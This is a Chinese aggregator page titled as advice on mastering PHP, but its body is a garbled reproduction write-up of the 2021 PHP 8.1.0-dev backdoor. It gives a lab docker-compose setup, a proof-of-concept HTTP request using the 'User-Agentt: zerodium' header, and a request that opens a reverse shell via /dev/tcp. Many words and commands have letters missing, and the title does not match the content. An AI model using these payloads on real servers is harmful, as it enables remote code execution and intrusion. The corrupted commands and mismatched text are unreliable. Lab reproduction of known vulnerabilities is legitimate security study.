当前位置：首页 > 每日看点 > 正文内容

怎样深入学习php，成为php高手？

卡卷网10个月前 (01-01)每日看点154

简介

PHPverion8.1.0-dev于2021年3月28与后门一起发布，但是后门很快被发现并删除。

#漏洞概述

PHPverion8.1.0-dev的PHP在上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。

#影响版本

PHP8.1.0-dev

#环境搭建

新建docker-compose.yml

version:'2' servs: we: image:vulhu/php:8.1-ackdoor volumes: -./index.php:/var/www/html/index.php ports: -"8080:80"

启动环境

docker-composeup-d

#漏洞复现

#poc验证

在header头增加user-agentt字段，值为：zerodiumvar_dump(2*3);

GET//1.1 Host:192.168.81.223:8800 Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 user-agentt:zerodiumvar_dump(2*3); Connection:close

如果执行了这个表达式，说明存在漏洞

#执行命令反弹shell

GET//1.1 Host:192.168.81.223:8800 Praa:no-cache Cache-Control:no-cache Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate User-Agentt:zerodium("ash-c'execash-i>&/dev/tcp/ip/66660>&1'"); Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 Connection:close

#事件分析与反思

代码中含有”zerodium”字符串，而zerodium是一个专门漏洞的.在此事件中，怀疑黑客攻陷了://git.php.net，以PHP作者的名义做了两次代码提交。

#参考文章

s://log.dn.net/zy15667076526/article/details/116447864

扫描二维码推送至手机访问。

版权声明：本文由卡卷网发布，如需转载请注明出处。

本文链接：https://www.kajuan.net/ttnews/2025/01/6068.html

分享给朋友：
返回列表

上一篇：怎么速成C#？

下一篇：浏览器点击网页有中病的风险么，不下载文件执行能保证安全么？

相关文章

怎么用游戏搬砖挣钱呢？

怎么用游戏搬砖挣钱呢？

今天，我把我多年操作的经验分享出来，以供各位老板们学习借鉴，胆小的老板就离开吧，心里承受能力太弱了，会刷新你的认知的。有些新人在计算收益的时候，会以机器数来计算，其实是有误区的，比如，一台机器一个月搞400元，平均每天搞13元钱，搞上100...

最让你震惊的网站有哪些？

压箱底的震惊来了，来波大的，一百个网站！这些都是我平时辛辛苦苦收集的，是真的牛逼，居然还有这种网站。1、实时地球网址：https://zoom.earth/实时图像每 10 分钟更新一次，提供风暴、天气预报、降水、火警等数据2、陕西博物馆...

抖音和快手最大的区别是什么？

1、目标人群定位不同抖音：一二线城市，占比52%，大专学历以上，女性偏多。抖音以年轻群体居多。快手：三四线城市，占比64%，高中学历以下，男女更均衡。快手所覆盖的年龄段范围更广。2、内容创作的形式和深度不同抖音：偏深层，内容的装饰及表达更高...

无人机真的是中国领先吗？

无人机真的是中国领先吗？

巧了这是。捡到了一台大疆。应该是别人飞丢的。在草丛中泡过水，轴承锈死，电池鼓涨已，经没有维修价值了。但作为玩电子的，免不了要把它解剖，研究一番。那么，我们看看它的国产化率能有多少吧。图片说话：解释一下吧。图一，高通 美国图二，MPS： 美国...

用红米手机会很丢人吗？

前些日子遇到了一位快递小哥，京东的，签收小哥年纪不算大，目测二十多岁他的手机上全是一道道极严重的划痕，有点卡，他开热点了，热点名就是手机型号，红米9a，我父母的同款现在他那边操作了一会，然后又是我这边操作了一会小哥看着我手机刷刷的，颇有些好...

为什么小公司留不住人?

为什么小公司留不住人?

我估计，整个知乎，可能没有比我公司再小得了，。。正对面就是我唯一的一个员工的工位。为啥留不住人。因为那些留不住人的老板，太拿自己当回事。大公司靠制度。小公司靠人情。我这儿的业务，因为全都是线上，所以员工来不来坐班都不重要。天太热可以不来，下...

发表评论

访客

看不清，换一张

◎欢迎参与讨论，请在这里发表您的看法和观点。

Copyright © 2019-2024 www.kajuan.net 版权所有

Powered By Z-BlogPHP. Theme by TOYEAN.